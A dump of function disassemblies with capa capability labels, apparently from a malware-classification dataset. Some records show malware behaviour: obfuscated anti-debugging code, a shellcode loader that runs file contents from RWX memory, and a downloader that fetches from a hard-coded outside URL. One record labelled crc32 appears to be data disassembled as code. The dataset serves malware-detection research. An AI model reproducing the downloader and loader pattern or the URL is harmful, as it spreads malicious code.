joyce8/EMBER2024-capa huggingface dataset:
Function at 0x62d295
Capabilities:
Execute anti-debugging instructions

Disassembly:
shr ax, 6
xchg byte [esp + 2], cl
jmp 0x62d2f2
bt ecx, eax
add esp, 6
add dx, 0xe6c4
mov eax, edi
add esp, 0
mov eax, 0x67ad648f
jmp 0x62d31a
mov di, word [esp + 2]
dec edx
not bp
push dword [esp + 3]
ror al, cl
clc
jmp 0x62d2ce
mov bh, byte [esp + 0xf]
mov byte [esp + 0x11], ah
mov bp, word [esp + 0x1f]
xchg bp, ax
jmp 0x62d525
sub esp, 0x1f
push word [esp + 0xe]
clc
rol si, cl
pop word [esp + 6]
jmp 0x62d304
clc
sub esp, 0x1b
pop edi
ror ah, cl
rcr dl, 7
mov byte [esp + 0x1e], ah
jmp 0x62d437
mov byte [esp + 0x13], dh
pop ecx
rdtsc
mov ax, 0xd4a5
push word [esp + 0xb]
xchg word [esp + 0x14], bp
jmp 0x62d34b
lea esp, [esp + 0x41]
mov bh, byte [esp]
rdtsc
btr edx, esi
pushal
add esp, 6
jmp 0x62d361
xchg ah, bh
xor dl, al
pop si
rdtsc
call fcn.0062d39b
push word [esp + 0xb]
mov dword [esp + 0xb], eax
mov edi, 0x2b9a56cf
pushal
pop word [esp + 0x2b]
neg eax
jmp 0x62d408
bswap esi
mov ah, byte [esp + 4]
adc cx, bx
cpuid
mov ax, 0x7ff0
std
jmp 0x62d3b1
xchg dword [esp], ebx
xchg byte [esp], cl
push dword [esp + 6]
xchg ebp, eax
jmp 0x62d41e
not si
mov ebp, dword [esp + 0x2c]
add esp, 0x28
lea edx, [eax + eax]
rdtsc
mov esi, 0x1a2e05ac
jmp 0x62d3f2
mov dx, word [esp + 8]
bswap edx
lea edx, [ebp + ebp]
pop ax
xor edx, eax
neg bh
call fcn.0062d462
sbb dword [eax + 0x5b], edi
pop word [esp + 0x16]
mov dword [esp + 0x18], edx
mov bh, 0x6e
mov dh, 0xd6
mov ebx, 0x2241522d
popal
jmp 0x62d3e0
inc cl
cpuid
mov dx, word [esp + 0x13]
not ah
xchg ecx, edi
pushal
jmp 0x62d389
adc di, di
xchg word [esp + 0x1c], bp
mov ecx, 0x21923e0b
rdtsc
mov ebx, edi
setno bh
jmp 0x62d479

Function at 0x62d462
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg byte [esp + 6], cl
xchg dx, si
xchg esi, edi
bsr esi, esi
jmp 0x62d4b3
jmp 0x62d44c
sub esp, 0xd
rdtsc
bsr ax, bx
stc
push ax
bt ebx, ebx
jmp 0x62d4df
mov edi, dword [esp + 0x11]
lea esp, [esp + 0x1e]
mov dl, 0xf5
mov bx, word [esp + 1]
jmp 0x62d4c9
xchg word [esp + 7], bx
neg esi
lea esi, reloc.KERNEL32.dll_FileTimeToSystemTime
mov edx, ecx
mov byte [esp], bh
shl al, cl
jmp 0x62d48c
mov ebx, 0x8455b315
call int.0062d508
adc byte [edx + 0x3d8a7f18], cl
stosd dword es:[edi], eax
ret 0x4c7d
push ecx
inc edx
lea ecx, [esp - 0x1d]
mov si, word [esp + 0x1b]
rdtsc
rcr bx, 2
jmp 0x62d49d

Function at 0x62d631
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 4
mov eax, dword [esp]
mov edx, dword [esp]
mov cl, byte [esp + 1]
sub esp, 0xc
lea esi, reloc.KERNEL32.dll_FileTimeToSystemTime
jmp 0x62d63e
xchg dl, bl
mov cx, 0xe60c
mov edi, edx
or dx, si
jmp 0x62d613
pushal
mov si, 0x8f4e
neg ecx
std
mov eax, esi
sub ebp, ecx
jmp 0x62d722
mov esi, dword [esp + 3]
mov byte [esp + 9], bh
xchg al, dh
shl cx, 0xc
pop esi
inc ah
jmp 0x62d670
bsf bp, bx
push word [esp + 0xc]
popal
sete ch
shl bp, cl
mov byte [esp + 6], bl
jmp 0x62d686

Function at 0x62d9d7
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg byte [esp + 0x26], ch
rcr ebx, cl
rol dl, cl
bts ax, bp
push bp
jmp 0x62da0e
pop bp
dec dl
mov dl, 0x1a
push dword [esp + 0x27]
pop dword [esp + 0x12]
xchg al, dh
jmp 0x62d9f8
Function at 0x62daf9
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov al, cl
mov dl, byte [esp + 6]
add esp, 6
or eax, 0xc66d179a
jmp 0x62dafe
xchg di, ax
jmp 0x62dae3
mov ax, si
push word [esp + 1]
xchg word [esp], di
pop word [esp]
add esp, 0
jmp 0x62db2e

Function at 0x631f70
Capabilities:
Access peb ldr_data
Execute anti-debugging instructions

Disassembly:
call fcn.00630d98
mov dword [esp], eax
mov dword [esp + 0x54], edi
lea esp, [esp + 0x54]
jmp 0x631fd4
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x630d93
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0x631fb2
Function at 0x1004cff
Capabilities:
Hash data with crc32

Disassembly:
add byte [eax], ch
inc ecx
add byte [eax], al
add byte fs:[eax], al
add byte [eax], al
pushal
add byte [eax], al
inc eax
push es
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], ch
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
je 0x1004de0
js 0x1004df1
add byte [eax], al
add byte [esi], ah
and dword [eax], eax
add byte [eax], al
adc byte [eax], al
add byte [eax], al
and al, byte [eax]
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], ah
add byte [eax], al
pushal
jb 0x1004e07
popal
je 0x1004e07
add byte [eax], al
jns 0x1004db1
add byte [eax], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte es:[eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
inc eax
popal
je 0x1004e2e
jb 0x1004e66
jb 0x1004e58
add byte [eax], al
add byte [eax + 6], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
Function at 0x1006050
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x1006062
or eax, 0xffffffff
mov dword [0x405000], eax
jmp 0x100609b
mov edx, dword [esp + 8]
mov eax, dword [0x405000]
push esi
mov esi, edx
dec edx
test esi, esi
je 0x1006095
push edi
inc edx
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
mov edi, dword [0x405438]
shr eax, 8
mov esi, dword [edi + esi*4]
xor eax, esi
inc ecx
dec edx
jne 0x1006075
pop edi
mov dword [0x405000], eax
pop esi
not eax
ret 8
Function at 0x4011a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push 0x418210
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x56
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402060
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41769b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004046a8
push 4
mov dword [ebp - 4], 0
call fcn.004053b1
mov edi, eax
add esp, 4
test edi, edi
je 0x4020d7
push ebx
call fcn.00404234
mov dword [edi], eax
call fcn.00403ff0
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00403f25
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4020cc
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00403f4d
pop ebx
jmp 0x4020d9
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x403190
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4177d8
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x4032d8
cmp byte [edi + 0x49], bl
je 0x4032d8
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x4031e3
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x403205
lea eax, [ebp - 0x2c]
mov byte [eax + 8], bl
mov dword [ebp - 4], ebx
push esi
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x40321e
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x40325d
dec eax
je 0x403261
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4032c0
call fcn.00402490
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x403271
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
sub esi, ecx
je 0x40329a
cmp ebx, 0x10
jae 0x403280
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.004062c2
add esp, 0x10
cmp esi, eax
jne 0x4032b8
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x4032bd
test esi, esi
jne 0x403212
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00402a50
jmp 0x40320c
lea ecx, [ebp - 0x2c]
jmp 0x403245
lea ecx, [ebp - 0x2c]
call fcn.00402490
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
pop edi
mov al, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x403b40
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41789b
push eax
mov eax, 0x10ac
mov dword fs:[0], esp
call fcn.004065d0
push ebx
push 0
push 0
push 0
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x403c84
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80000000
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x403c7c
mov ecx, dword [ebp + 0xc]
push 1
push 0x40
push 0x20
push ecx
lea ecx, [ebp - 0xb8]
call fcn.004038d0
cmp dword [ebp - 0x60], 0
mov dword [ebp - 4], 0
je 0x403c53
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10b8]
push eax
push esi
call edi
test eax, eax
je 0x403c18
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x403c18
push 0
push eax
lea ecx, [ebp - 0x10b8]
push ecx
lea ecx, [ebp - 0xb8]
call fcn.00402d40
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10b8]
push eax
push esi
call edi
test eax, eax
jne 0x403be5
lea ecx, [ebp - 0xb4]
call fcn.00403730
pop edi
test eax, eax
jne 0x403c53
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xac]
lea ecx, [ebp + ecx - 0xb8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x403c4b
or eax, 4
push 0
push eax
call fcn.004014f0
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.00403a30
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.0040447b
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x403ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0x80000002
mov dword [ebp - 0x14], 0x54464f53
mov dword [ebp - 0x10], 0x45524157
mov dword [ebp - 0xc], 0x42444f5c
mov word [ebp - 8], 0x43
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403d58
push esi
call fcn.00401170
push 4
push 0x1000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push str.C:UsersPublicDownloadsind.cod
push str.http:__e.kerenw.cn_156.ccp
mov esi, eax
call fcn.00403b40
add esp, 8
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.00401700
call fcn.004011a0
push 0
call fcn.0040527a
push eax
call fcn.00405344
add esp, 8
call fcn.00405356
cdq
mov ecx, 0x64
idiv ecx
lea esi, [edx + 1]
call fcn.00405356
cdq
mov ecx, 0x64
idiv ecx
inc edx
cmp edx, esi
jne 0x403d45
pop esi
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x407215
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41e910]
jne 0x40721f
repz ret
jmp fcn.0040e6e8
Function at 0x413b74
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41e910]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409e80
and dword [ebp - 0x14], 0
cmp dword [0x4205f0], 0
mov dword [ebp - 0x18], eax
jne 0x413c27
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x413ccf
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x413ccf
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4205f0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4205f4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4205f8], eax
call edi
push eax
call esi
mov dword [0x420600], eax
test eax, eax
je 0x413c27
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4205fc], eax
mov eax, dword [0x4205fc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x413c80
cmp dword [0x420600], ecx
je 0x413c80
push eax
call esi
push dword [0x420600]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x413c80
test ebx, ebx
je 0x413c80
call edi
test eax, eax
je 0x413c77
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x413c77
test byte [ebp - 8], 1
jne 0x413c80
or dword [ebp + 0x10], 0x200000
jmp 0x413cb3
mov eax, dword [0x4205f4]
cmp eax, dword [ebp - 0x18]
je 0x413cb3
push eax
call esi
test eax, eax
je 0x413cb3
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x413cb3
mov eax, dword [0x4205f8]
cmp eax, dword [ebp - 0x18]
je 0x413cb3
push eax
call esi
test eax, eax
je 0x413cb3
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4205f0]
call esi
test eax, eax
je 0x413ccf
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x413cd1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407215
leave
ret
Function at 0x402aef
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [esp + 0x14]
lea eax, [esp + 0x18]
mov edi, ecx
push eax
call fcn.00402dec
xor ebp, ebp
pop ecx
pop ecx
mov ebx, dword [eax]
mov dword [eax], ebp
cmp dword [esp + 0x14], ebp
je 0x402b1e
push 4
push dword [esp + 0x18]
call fcn.0040c9ea
pop ecx
pop ecx
lea esi, [edi + 4]
push esi
push ebp
push ebx
push 0x4026a5
push ebp
push ebp
call fcn.0041513b
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x402b40
pop edi
pop esi
pop ebp
pop ebx
ret 4
push 6
mov dword [esi], ebp
call fcn.0040955d
int3

Function at 0x40b01c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40b03d
jl 0x40b034
test edi, edi
jne 0x40b03d
xor eax, eax
xor edx, edx
jmp 0x40b0fe
cmp dword [ebx + 0x38], 0
je 0x40b052
push eax
push edi
push dword [ebp + 8]
call fcn.0040b104
jmp 0x40b0fe
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40b099
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40b099
cmp eax, edi
jb 0x40b073
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040d970
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40b09f
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x40b0f3
mov ecx, ebx
call fcn.0040a8b6
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x40b0de
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00416613
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x40b0f3
jmp 0x40b0b1
test edx, edx
je 0x40b0f3
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00416613
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x40d4d0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40d50f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40d50f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d50f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40d50f
cmp dword [ecx + 0x74], 0xe
jbe 0x40d50f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41cb21
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f994
push 0x42f98c
push str.FlsAlloc
push 0x1e
call fcn.0041c9ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41cb55
push dword [ebp + 8]
mov ecx, esi
call dword [0x42b178]
call esi
jmp 0x41cb5b
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x41cb9f
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f9a4
push 0x42f99c
push str.FlsGetValue
push 0x20
call fcn.0041c9ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41cbd6
push dword [ebp + 8]
mov ecx, esi
call dword [0x42b178]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x420492
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00420134

Function at 0x42049d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004202c3

Function at 0x420897
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040d920
mov eax, dword [0x532800]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041e063
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4208d9
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x420a35
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00429330
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x5351a0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00421636
mov ecx, dword [esi*4 + 0x5351a0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x420a2e
cmp eax, dword [edi + ecx + 0x24]
jne 0x420a2e
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420a2e
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00421636
add esp, 0x14
test edx, edx
jl 0x420a2e
jg 0x4209a4
test eax, eax
jb 0x420a2e
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x420a2e
jl 0x4209be
cmp dword [ebp - 0x1008], eax
ja 0x420a2e
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4209dc
test ebx, ebx
je 0x420a15
cmp ecx, edi
jae 0x420a15
mov al, byte [ecx]
cmp al, 0xd
jne 0x4209f6
lea eax, [edi - 1]
cmp ecx, eax
jae 0x420a02
cmp byte [ecx + 1], 0xa
jne 0x420a02
inc ecx
jmp 0x420a02
movzx eax, al
movsx eax, byte [eax + 0x532ac8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4209dc
cmp edx, ebx
jne 0x4209dc
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x420a33
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040cd03
leave
ret